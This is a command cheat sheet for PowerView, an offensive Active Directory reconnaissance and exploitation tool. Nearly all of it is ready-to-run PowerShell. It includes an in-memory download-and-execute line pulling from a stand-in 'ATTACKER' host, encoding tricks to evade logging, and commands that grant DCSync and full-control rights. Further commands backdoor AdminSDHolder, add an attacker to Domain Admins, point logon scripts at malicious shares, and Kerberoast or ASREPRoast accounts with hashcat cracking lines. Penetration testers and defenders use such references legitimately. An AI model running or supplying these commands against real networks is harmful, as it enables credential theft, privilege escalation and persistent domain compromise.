Author: @harmj0y (Will Schroeder)
Part of: PowerSploit — https://github.com/PowerShellMafia/PowerSploit
Most up-to-date version (dev branch): https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
SharpView (.NET port): https://github.com/tevora-threat/SharpView
HarmJ0y's tips gist: https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
PowerView is a pure-PowerShell tool for Windows domain reconnaissance and exploitation. It provides replacements for net * commands, custom user-hunting functions, ACL enumeration and manipulation, trust mapping, and much more — all operating over LDAP and Win32 API calls.
Key capabilities:
- Full AD object enumeration: users, groups, computers, OUs, GPOs, trusts
- ACL/ACE enumeration and abuse (GenericAll, WriteDACL, WriteOwner, ResetPassword, DCSync, etc.)
- User hunting (find where privileged users are logged in)
- Local admin access discovery
- Kerberoasting and ASREPRoasting
- Domain trust and forest trust mapping
- Object creation, modification, and backdooring
- Alternate credential support for every function
# Method 1: Import as module from disk
Import-Module .\PowerView.ps1
Import-Module C:\Tools\PowerView.ps1
# Method 2: Dot-source (loads all functions into current session)
. .\PowerView.ps1
# Method 3: Load in memory from web (bypasses disk write — avoid if AMSI is active)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')
# Method 4: Bypass execution policy first
powershell -ExecutionPolicy Bypass -File PowerView.ps1
Set-ExecutionPolicy Bypass -Scope Process -Force
# Method 5: Encode and run (bypass logging)
$code = Get-Content PowerView.ps1 -Raw
$bytes = [System.Text.Encoding]::Unicode.GetBytes($code)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded
# Verify it loaded
Get-Command -Module PowerView
Get-Help Get-DomainUser
# Export output to CSV (thread-safe built-in helper)
Get-DomainUser | Export-PowerViewCSV -Path .\users.csv
# Save PowerView objects for later (avoids re-running long queries)
Get-DomainUser | Export-Clixml user.xml
$Users = Import-Clixml user.xml
Note: Always use the dev branch of PowerSploit for the most up-to-date PowerView. The master branch is older (PowerView 2.0-era). Function names differ — the dev branch uses Get-Domain* / Find-Domain* naming.
PowerView 3.0 uses a consistent naming schema:
| Prefix |
Transport |
Description |
Get-Domain* |
LDAP / .NET |
Raw LDAP-based enumeration |
Find-Domain* |
LDAP + Win32 |
Higher-level searches combining LDAP and net calls |
Get-Net* |
Win32 API |
Uses underlying Win32 API (NetAPI32, etc.) |
Get-WMI* |
WMI |
Uses WMI queries |
Add-Domain* |
LDAP write |
Creates objects or adds ACEs |
Set-Domain* |
LDAP write |
Modifies existing objects |
Invoke-* |
Various |
Catch-all for complex operations |
Almost every PowerView function accepts a -Credential parameter. This allows running any command as a different user.
# ── Build a credential object ──────────────────────────────────────────────
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $SecPassword)
# Use -Credential with any function
Get-DomainUser -Credential $Cred
Get-DomainComputer -Credential $Cred -Domain other.domain.local
Find-DomainUserLocation -Credential $Cred
# ── Impersonate a credential token (runas /netonly equivalent) ─────────────
# Only works in single-threaded apartment (STA) mode
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... run PowerView commands here as dfm.a ...
Invoke-RevertToSelf # revert back to original token
# ── Add/Remove a remote drive connection ───────────────────────────────────
Add-RemoteConnection -ComputerName server.domain.local -Credential $Cred
Remove-RemoteConnection -ComputerName server.domain.local
# ── Connect to a different domain ──────────────────────────────────────────
Get-DomainUser -Domain other.domain.local -Credential $Cred
# ── Use alternate search base ──────────────────────────────────────────────
Get-DomainUser -SearchBase "LDAP://OU=Finance,DC=domain,DC=local"
Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" # query global catalog
# ── Basic Domain Info ──────────────────────────────────────────────────────
Get-Domain # get current domain object
Get-Domain -Domain other.domain.local # specific domain
Get-NetDomain # alias for Get-Domain
Get-DomainSID # get current domain SID
# ── Domain Controllers ─────────────────────────────────────────────────────
Get-DomainController # list DCs for current domain
Get-DomainController -Domain other.domain.local
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl
Get-NetDomainController # alias using Win32
# ── Domain Policy ──────────────────────────────────────────────────────────
Get-DomainPolicy # get domain policy object
(Get-DomainPolicy).KerberosPolicy # Kerberos settings (MaxTicketAge, MaxRenewAge, etc.)
(Get-DomainPolicy).SystemAccess # password policy (length, complexity, age)
(Get-DomainPolicy).PrivilegeRights # user rights assignments
Get-DomainPolicyData # same as Get-DomainPolicy
# Get DC-specific policy
$DCPolicy = Get-DomainPolicy -Policy DC
$DCPolicy.PrivilegeRights # rights assigned on the DC itself
# Get specific domain's policy
(Get-DomainPolicy -Domain domain.local).KerberosPolicy
(Get-DomainPolicy -Domain domain.local).SystemAccess
# ── Forest Info ────────────────────────────────────────────────────────────
Get-Forest # current forest object
Get-Forest -Forest other.forest.com
Get-ForestDomain # all domains in current forest
Get-ForestDomain -Forest other.forest.com
Get-ForestGlobalCatalog # all global catalogs in current forest
Get-ForestGlobalCatalog -Forest other.forest.com
Get-NetForestDomain # alias
# Convert short computer names to FQDNs using a GC
gc computers.txt | % {
Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" `
-LDAP "(name=$_)" -Properties dnshostname
}
# ── DNS Enumeration ────────────────────────────────────────────────────────
Get-DomainDNSZone # enumerate AD-integrated DNS zones
Get-DomainDNSZone -Domain domain.local
Get-DomainDNSRecord -ZoneName domain.local # all records in a zone
Get-DomainDNSRecord -ZoneName domain.local -RecordName dc01 # specific record
# ── Basic User Queries ─────────────────────────────────────────────────────
Get-DomainUser # all users with most properties
Get-NetUser # alias (same underlying function)
Get-DomainUser -Identity john.doe # specific user (SID, DN, samaccountname, GUID accepted)
Get-DomainUser -Properties name, samaccountname, description, pwdlastset, logoncount, badpwdcount
Get-DomainUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount
# Multiple identity types work on any *-Domain* function
'S-1-5-21-...-1114','CN=dfm,CN=Users,DC=testlab,DC=local',
'4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' |
Get-DomainUser -Properties samaccountname,lastlogoff
# ── UAC Filters ────────────────────────────────────────────────────────────
# Enabled users
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE
Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)"
# Disabled users
Get-DomainUser -UACFilter ACCOUNTDISABLE
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)"
# Smart card required
Get-DomainUser -UACFilter SMARTCARD_REQUIRED
# Smart card NOT required
Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname
# Password not required (PASSWD_NOTREQD — may have blank or short passwords)
Get-DomainUser -UACFilter PASSWD_NOTREQD | select samaccountname,useraccountcontrol
# Password never expires
Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD | select samaccountname
# ── Kerberos Attack Targets ─────────────────────────────────────────────────
# Kerberoastable users (have SPN set)
Get-DomainUser -SPN
Get-DomainUser -SPN | select samaccountname, serviceprincipalname
Get-NetUser -SPN | select serviceprincipalname
# ASREPRoastable users (no pre-auth required)
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
Get-NetUser -PreauthNotRequired
# Service accounts that are also Domain Admins
Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}
# ── Special User Searches ───────────────────────────────────────────────────
# Users with sidHistory set (potential domain migration / persistence)
Get-DomainUser -LDAPFilter '(sidHistory=*)'
# Users with reversible encryption (password stored in cleartext-equivalent)
Get-DomainUser -Identity * | ? {
$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'
} | select samaccountname,useraccountcontrol
# Users with passwords set in the userPassword attribute (cleartext)
$FormatEnumerationLimit=-1
Get-DomainUser -LDAPFilter '(userPassword=*)' `
-Properties samaccountname,memberof,userPassword | % {
Add-Member -InputObject $_ NoteProperty 'Password' `
"$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru
} | fl
# Users with passwords changed > 1 year ago
$Date = (Get-Date).AddYears(-1).ToFileTime()
Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" `
-Properties samaccountname,pwdlastset
# Users with description field set (often contains passwords)
Get-DomainUser -Properties name, description | ? {$_.description -ne $null}
Get-NetUser -properties name, description
# Search a specific field for a keyword
Find-UserField -SearchField Description -SearchTerm "password"
Find-UserField -SearchField Description -SearchTerm "admin"
Find-UserField -SearchField Description -SearchTerm "built"
# Find privileged users not marked as sensitive/not for delegation
Get-DomainUser -AllowDelegation -AdminCount
# Users with constrained delegation set (TrustedToAuth)
Get-DomainUser -TrustedToAuth | select userprincipalname,name,msds-allowedtodelegateto
# Get a user's PAC / token group memberships
Get-DomainUser -LDAPFilter "(samaccountname=john)"
# ── Enumerate User Events ──────────────────────────────────────────────────
# Account logon events (ID 4624) on a remote machine
Get-DomainUserEvent -ComputerName dc01.domain.local
Get-DomainUserEvent -ComputerName dc01.domain.local -StartTime ((Get-Date).AddDays(-3))
# ── User Property Outliers ─────────────────────────────────────────────────
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
# ── Basic Group Queries ─────────────────────────────────────────────────────
Get-DomainGroup # all domain groups
Get-NetGroup # alias
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroup -Domain other.domain.local
Get-DomainGroup | select samaccountname, admincount, description | fl
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
# Admin groups (AdminCount=1)
Get-DomainGroup -AdminCount | select name,memberof,admincount,member | fl
Get-NetGroup -AdminCount
# Groups by scope
Get-DomainGroup -GroupScope NotGlobal -Properties name # DomainLocal, Universal, etc.
Get-DomainGroup -GroupScope DomainLocal -Properties name
# ── Group Members ──────────────────────────────────────────────────────────
# Get members of a group (recursive — follows nested groups)
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-NetGroupMember -Identity "Administrators" -Recurse
Get-NetGroupMember -Identity "Enterprise Admins" -Domain rootdomain.local
# Get groups a user is a member of (recurse UP via tokenGroups)
Get-DomainGroup -MemberIdentity john.doe
Get-DomainGroup -MemberIdentity "S-1-5-21-...-1114"
Get-NetGroup -UserName john.doe
# Find machine accounts ($) in privileged groups
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}
# ── Restricted / GPO Groups ────────────────────────────────────────────────
Get-NetGPOGroup # groups set via Restricted Groups / GPP
# ── Local Groups (on remote machines) ─────────────────────────────────────
Get-NetLocalGroup -ComputerName SERVER.domain.local # list local groups
Get-NetLocalGroupMember -ComputerName SERVER.domain.local # members of Administrators
Get-NetLocalGroupMember -ComputerName SERVER.domain.local -GroupName "Remote Desktop Users"
Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local # faster (Win32 API)
Get-NetLocalGroupMember -ComputerName dcorp-dc.dollarcorp.moneycorp.local
# ── Foreign / Cross-Domain Group Members ──────────────────────────────────
Get-DomainForeignGroupMember # users from other domains in local groups
Get-DomainForeignGroupMember -Domain forest.root.local
Get-DomainForeignUser # users with privileges in other forest domains
# ── Linked DA Accounts (name correlation) ─────────────────────────────────
# Find admin accounts linked to a normal user by display name correlation
Get-DomainGroupMember 'Domain Admins' | %{
Get-DomainUser $_.membername -LDAPFilter '(displayname=*)'
} | %{
$a=$_.displayname.split(' ')[0..1] -join ' '
Get-DomainUser -LDAPFilter "(displayname=*$a*)" `
-Properties displayname,samaccountname
}
# ── Basic Computer Queries ─────────────────────────────────────────────────
Get-DomainComputer # all computer objects
Get-NetComputer # alias
Get-DomainComputer -Properties DnsHostName # just DNS hostnames
Get-DomainComputer -Properties samaccountname, operatingsystem
Get-DomainComputer -Ping # send ping to each found computer
# Filter by OS
Get-DomainComputer | ? {$_.operatingsystem -match "Windows 10"}
Get-DomainComputer | ? {$_.operatingsystem -match "Server 2019"}
# ── Delegation-Related Computer Searches ───────────────────────────────────
# Unconstrained delegation computers (DC always appears here)
Get-DomainComputer -Unconstrained
Get-NetComputer -Unconstrained | select samaccountname
# Constrained delegation computers (TrustedToAuth)
Get-DomainComputer -TrustedToAuth
Get-NetComputer -TrustedToAuth | select samaccountname
# Computers with LAPS deployed
Get-DomainComputer -identity LAPS-COMPUTER -properties ms-Mcs-AdmPwd
# ── Search by OU ───────────────────────────────────────────────────────────
Get-DomainComputer -SearchBase "ldap://OU=Servers,DC=domain,DC=local"
Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" # query global catalog
# Get all computers in a specific OU using the OU object
Get-DomainOU "Servers" | %{
Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name
}
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_}
# Get logged-on users for all computers in any *server* OU
Get-DomainOU -Identity *server* -Domain domain.local | %{
Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{
Get-NetLoggedOn -ComputerName $_
}
}
# ── Architecture Detection ─────────────────────────────────────────────────
Get-DomainComputer -Properties samaccountname | %{
# Uses an unauthenticated trick to detect x86/x64
Get-WMIRegDword -ComputerName $_.samaccountname `
-Hive HKLM -Key "SYSTEM\CurrentControlSet\Control\Session Manager\Environment" `
-Value PROCESSOR_ARCHITECTURE
}
Get-DomainOU # all OUs
Get-NetOU # alias
Get-DomainOU -Properties Name | sort -Property Name # just names
Get-DomainOU -Identity "Servers" # specific OU
# Get all computers inside an OU
Get-DomainOU "Servers" | %{
Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name
}
# Retrieve the DNS names of computers where a specific GPP applies
Get-DomainOU -GPLink '<GPP_GUID>' | % {
Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname
}
# Get all GPOs applied to an OU
Get-DomainOU -Identity "Workstations" | %{$_.gplink}
# ── Basic GPO Enumeration ──────────────────────────────────────────────────
Get-DomainGPO # all GPOs
Get-NetGPO # alias
Get-DomainGPO | select displayname # just names
Get-DomainGPO | select displayName # check names for interesting data
Get-DomainGPO -ComputerIdentity windows1.testlab.local # GPOs applied to a specific computer
Get-DomainGPO -ComputerName <servername> # GPOs applied to a host
gpresult /V # current effective policy (built-in)
# Convert GPO GUID to display name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532
# ── GPO Permissions & Control ─────────────────────────────────────────────
# Who can create new GPOs?
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" `
-ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } |
select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Find GPOs where low-priv users (RID > 1000) have write control
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? {
($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and
($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')
} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Get permissions a specific user/group has over GPOs
$sid = Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
# ── GPO → Group Mappings ──────────────────────────────────────────────────
# Returns all GPOs that set local group memberships (Restricted Groups / GPP)
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Find machines where a specific user/group is local admin via GPO
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators |
select ObjectName, GPODisplayName, ContainerName, ComputerName
# Get machines where a specific user has local admin via GPO
Get-DomainGPOUserLocalGroupMapping -Identity john.doe
Get-DomainGPOUserLocalGroupMapping -Identity john.doe -LocalGroup Administrators
# Get machines where a user has RDP access via GPO
Get-DomainGPOUserLocalGroupMapping -Identity john.doe -Domain domain.local -LocalGroup RDP
# Export all GPO mappings to CSV
Get-DomainGPOUserLocalGroupMapping | %{$_.computers = $_.computers -join ", "; $_} |
Export-CSV -NoTypeInformation gpo_map.csv
ACLs in AD define who has what permissions over each object.
# ── Basic ACL Queries ──────────────────────────────────────────────────────
# Get all ACEs for an object (raw — GUIDs not resolved)
Get-DomainObjectAcl -Identity john.doe
Get-ObjectAcl -SamAccountName john.doe
# Resolve GUIDs to human-readable right names (always use this)
Get-DomainObjectAcl -Identity john.doe -ResolveGUIDs
Get-ObjectAcl -SamAccountName john.doe -ResolveGUIDs
# Get ACLs for a specific DN
Get-DomainObjectAcl -Identity "CN=john,CN=Users,DC=domain,DC=local" -ResolveGUIDs
# Search across all objects for ACEs a specific principal has
$sid = Convert-NameToSid john.doe
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
# Find all objects our current user has rights over
$CurrentSID = (Get-DomainUser -Identity $env:USERNAME).objectsid
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {
$_.SecurityIdentifier -eq $CurrentSID
}
# ── Targeted ACL Enumeration (by SID) ─────────────────────────────────────
$sid = Convert-NameToSid "helpdesk_user"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {
$_.SecurityIdentifier -eq $sid
} | select ObjectDN, ActiveDirectoryRights, ObjectAceType, SecurityIdentifier
# ── Find Interesting / Exploitable ACLs ───────────────────────────────────
# Scan entire domain for interesting ACEs (slow on large domains)
Find-InterestingDomainAcl -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
# Filter to ACEs held by a specific user/group
Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReference -match "RDPUsers"}
Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceName -match "john.doe"}
# ── AdminSDHolder ──────────────────────────────────────────────────────────
# Check who has rights on AdminSDHolder (permissions replicated to all protected accounts)
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs
# List all users protected by AdminSDHolder (AdminCount=1)
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' |
%{ $_.SecurityIdentifier } | Convert-SidToName
# ── DCSync Rights ─────────────────────────────────────────────────────────
# Find users/groups that can perform DCSync (GetChanges + GetChangesAll)
Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
($_.ObjectType -match 'replication-get') -or
($_.ActiveDirectoryRights -match 'GenericAll')
}
# Alternate form
Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? {
($_.ActiveDirectoryRights -match 'GenericAll') -or
($_.ObjectAceType -match 'Replication-Get')
}
# ── ACLs on File Shares / Paths ────────────────────────────────────────────
Get-PathAcl -Path "\\dc.domain.local\sysvol"
Get-PathAcl -Path "\\FILESERVER\Share"
# ── Special ACL Rights Quick Reference ────────────────────────────────────
# GenericAll → Full control over the object
# GenericWrite → Write to all non-protected attributes
# WriteDACL → Modify the DACL (can grant any rights)
# WriteOwner → Change the object owner (then modify DACL as owner)
# AllExtendedRights → Can reset password, DCSync, etc.
# ForceChangePassword → Can reset password without knowing current password
# WriteProperty → Write to specific attributes
# Self → Self-membership rights (e.g., add self to group)
# ── Grant Yourself Rights ──────────────────────────────────────────────────
# Grant full control on a user object to your account
Add-DomainObjectAcl -TargetIdentity john.doe -PrincipalIdentity attacker -Rights All -Verbose
# Grant password reset rights
Add-DomainObjectAcl -TargetIdentity john.doe -PrincipalIdentity attacker `
-Rights ResetPassword -Verbose
# Grant group membership write rights
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker `
-Rights WriteMembers -Verbose
# Grant DCSync rights on the domain
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity attacker `
-Rights DCSync -Verbose
# Also works as:
Add-DomainObjectAcl -TargetIdentity $(Get-DomainSID) -PrincipalIdentity attacker `
-Rights DCSync -Verbose
# ── AdminSDHolder Backdoor ─────────────────────────────────────────────────
# Any rights added to AdminSDHolder propagate to ALL protected accounts (DA, EA, etc.)
# SDProp runs every 60 minutes by default
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' `
-PrincipalIdentity backdoor_user -Rights All
# ── Modify Object Owner ────────────────────────────────────────────────────
# Set the owner of an object to yourself (requires WriteOwner)
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity attacker -Verbose
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# ── Modify Object Attributes ──────────────────────────────────────────────
# Set an attribute value
Set-DomainObject -Identity targetUser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
Set-DomainObject -Identity targetUser -Set @{'scriptpath'='\\ATTACKER\malicious.ps1'}
# Add SPN to user (for targeted Kerberoasting)
Set-DomainObject -Identity targetUser -Set @{servicePrincipalName='fake/spn.domain.local'}
# Force disable Kerberos pre-auth (for ASREPRoasting)
Set-DomainObject -Identity targetUser -XOR @{useraccountcontrol=4194304} -Verbose
# ── Reset / Change User Password ──────────────────────────────────────────
# Reset password (requires ResetPassword / ForceChangePassword / GenericAll)
Set-DomainUserPassword -Identity targetUser `
-AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force) -Verbose
# ── Add User to Group ──────────────────────────────────────────────────────
Add-DomainGroupMember -Identity "Domain Admins" -Members attacker -Verbose
Add-NetGroupUser -Username attacker -GroupName 'Domain Admins' -Domain domain.local
# Remove user from group
Remove-DomainGroupMember -Identity "Domain Admins" -Members attacker -Verbose
# ── Create New Users ──────────────────────────────────────────────────────
# Create a new domain user
New-DomainUser -SamAccountName eviluser -AccountPassword (ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)
# ── RBCD Abuse via PowerView ──────────────────────────────────────────────
# Get SID of attacker-controlled machine account
$ComputerSid = Get-DomainComputer EVILPC$ -Properties objectsid | Select -Expand objectsid
# Build raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
-ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# Write RBCD on the target (requires GenericWrite on target computer)
Get-DomainComputer TargetMachine | Set-DomainObject `
-Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
# ── Active Sessions on Remote Hosts ───────────────────────────────────────
# Get active SMB sessions on a host
Get-NetSession -ComputerName SERVER.domain.local # uses NetSessionEnum
# Get users logged on via net logon (requires admin on target)
Get-NetLoggedon -ComputerName SERVER.domain.local
# Get locally logged-on users (requires remote registry — default on servers)
Get-LoggedOnLocal -ComputerName SERVER.domain.local
# Get last logged-on user (requires admin rights on target)
Get-LastLoggedon -ComputerName SERVER.domain.local
# Get active RDP sessions (requires admin rights on target)
Get-NetRDPSession -ComputerName SERVER.domain.local
# ── Enumerate Sessions Across Many Hosts ──────────────────────────────────
# Get logged-on users for all computers in *server* OUs
Get-DomainOU -Identity *server* -Domain domain.local | %{
Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{
Get-NetLoggedOn -ComputerName $_
}
}
# ── Find Where You Have Local Admin ───────────────────────────────────────
# Tests every computer for local admin access (very noisy — uses net sessions)
Find-LocalAdminAccess
Find-LocalAdminAccess -Verbose # shows progress per host
Find-LocalAdminAccess -Credential $Cred # alternate creds
# Alternative (WMI-based — useful when RPC/SMB is blocked on ports)
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
# Test admin access on a specific machine
Test-AdminAccess -ComputerName SERVER.domain.local
# ── Find Privileged Users' Sessions ───────────────────────────────────────
# Hunt for Domain Admin sessions across all machines (very noisy)
# Get-NetSession/Get-NetLoggedon on each host
Find-DomainUserLocation # hunt for DA users
Find-DomainUserLocation -CheckAccess # also check local admin on session host
Find-DomainUserLocation | select UserName, SessionFromName
Invoke-UserHunter # alias
Invoke-UserHunter -CheckAccess
# Hunt for a specific group's members
Invoke-UserHunter -GroupName "RDPUsers"
Find-DomainUserLocation -UserGroupIdentity "RDPUsers"
# Stealth mode — only query high-traffic servers (DC, File servers, DFS)
Invoke-UserHunter -Stealth
Find-DomainUserLocation -Stealth
# Hunt on unconstrained delegation computers
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
# Hunt for admin users on unconstrained delegation computers
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
# ── Enumerate Local Admins Across Domain ──────────────────────────────────
# Enumerate all local admin members on all domain computers
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember # enumerate local admins via GPO data
# Get machines where a specific user/group is local admin (via GPO)
Get-DomainGPOUserLocalGroupMapping -Identity john.doe
# ── Admin Count ────────────────────────────────────────────────────────────
# Users with AdminCount=1 (current or former protected group members)
Get-DomainUser -AdminCount | select samaccountname
Get-DomainGroup -AdminCount | select name
# ── Find File Servers ─────────────────────────────────────────────────────
Get-NetFileServer # find file servers (users tend to log in here)
# ── Find Accessible Shares ────────────────────────────────────────────────
# Enumerate all shares visible from domain and check read access
Find-DomainShare -CheckShareAccess
# ── Find Interesting Files ────────────────────────────────────────────────
# Search readable shares for interesting files
Find-InterestingDomainShareFile
Find-InterestingDomainShareFile -Include "*.config","*.xml","*.ps1"
Find-InterestingDomainShareFile -Keywords "password","creds","secret"
# With alternate credentials
$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password)
Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential
# Get all AD-integrated DNS zones
Get-DomainDNSZone
Get-DomainDNSZone -Domain domain.local
# Get all DNS records in a zone
Get-DomainDNSRecord -ZoneName domain.local
# Get a specific record
Get-DomainDNSRecord -ZoneName domain.local -RecordName dc01
# ── Domain Trusts ─────────────────────────────────────────────────────────
Get-DomainTrust # all trusts for current domain
Get-NetDomainTrust # alias
Get-DomainTrust -Domain other.domain.local
Get-DomainTrustMapping # enumerate all trusts recursively
Get-NetForestDomain | Get-NetDomainTrust # trusts of all domains in forest
# Search via Global Catalog
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
# ── Forest Trusts ─────────────────────────────────────────────────────────
Get-ForestTrust # forest-level trusts
Get-NetForestTrust # alias
Get-ForestTrust -Forest other.forest.com
# ── Cross-Domain / Forest Members ─────────────────────────────────────────
Get-DomainForeignGroupMember # groups with cross-domain members
Get-DomainForeignGroupMember -Domain target.domain.local
Get-DomainForeignUser # users with rights in other forest domains
# ── Check for TREAT_AS_EXTERNAL (SID filtering disabled) ─────────────────
# If you see TREAT_AS_EXTERNAL — can abuse forest trust like a domain trust
Get-DomainTrust | ? {$_.TrustAttributes -match 'TREAT_AS_EXTERNAL'}
# ── Enumerate Foreign Memberships ─────────────────────────────────────────
# Query GC for foreignSecurityPrincipals and enumerate their domain local group memberships
$ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname `
-SearchBase "GC://testlab.local" `
-LDAPFilter '(objectclass=foreignSecurityPrincipal)' |
? {$_.objectsid -match '^S-1-5-.*-[1-9]\d{2,}$'} |
Select-Object -ExpandProperty distinguishedname
$Domains = @{}
$ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) {
$ForeignUserDomain = $ForeignUser.SubString(
$ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
if (-not $Domains[$ForeignUserDomain]) {
$Domains[$ForeignUserDomain] = $True
$Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))"
Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal `
-LDAPFilter $Filter -Properties distinguishedname,member
}
}
$ForeignMemberships | fl
# ── Enumerate Kerberoastable Users ────────────────────────────────────────
Get-DomainUser -SPN # find users with SPNs
Get-DomainUser -SPN | select samaccountname, serviceprincipalname
# Export kerberoastable users to CSV
Get-NetUser -Domain domain.local | Where-Object {$_.servicePrincipalName} |
select name, samaccountname, serviceprincipalname |
Export-CSV -NoTypeInformation kerberoastable.csv
# ── Request TGS Hashes (Kerberoast) ───────────────────────────────────────
# Kerberoast all SPNs (output compatible with JtR and Hashcat)
Invoke-Kerberoast
Invoke-Kerberoast | fl
# Kerberoast a specific user
Invoke-Kerberoast -Identity websvc
Invoke-Kerberoast -Identity svc_sql | fl
# Output in Hashcat format (default)
Invoke-Kerberoast -OutputFormat Hashcat
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash
# Save hashes to file
Invoke-Kerberoast | Select-Object -ExpandProperty Hash | Out-File -FilePath hashes.txt
# Kerberoast users in a specific OU
Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
# Request a single TGS ticket for a specific SPN
Get-DomainSPNTicket -SPN "MSSQLSvc/dbserver.domain.local:1433"
Get-DomainSPNTicket -SPN "MSSQLSvc/dbserver.domain.local" -OutputFormat Hashcat
# ── Crack ─────────────────────────────────────────────────────────────────
# After capturing hashes:
# hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Find accounts with "Do not require Kerberos preauthentication" set
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
Get-NetUser -PreauthNotRequired
# Force disable pre-auth if you have write access to userAccountControl
Set-DomainObject -Identity targetUser -XOR @{useraccountcontrol=4194304} -Verbose
# Verify
Get-DomainUser -PreauthNotRequired -Verbose
# Crack with:
# hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
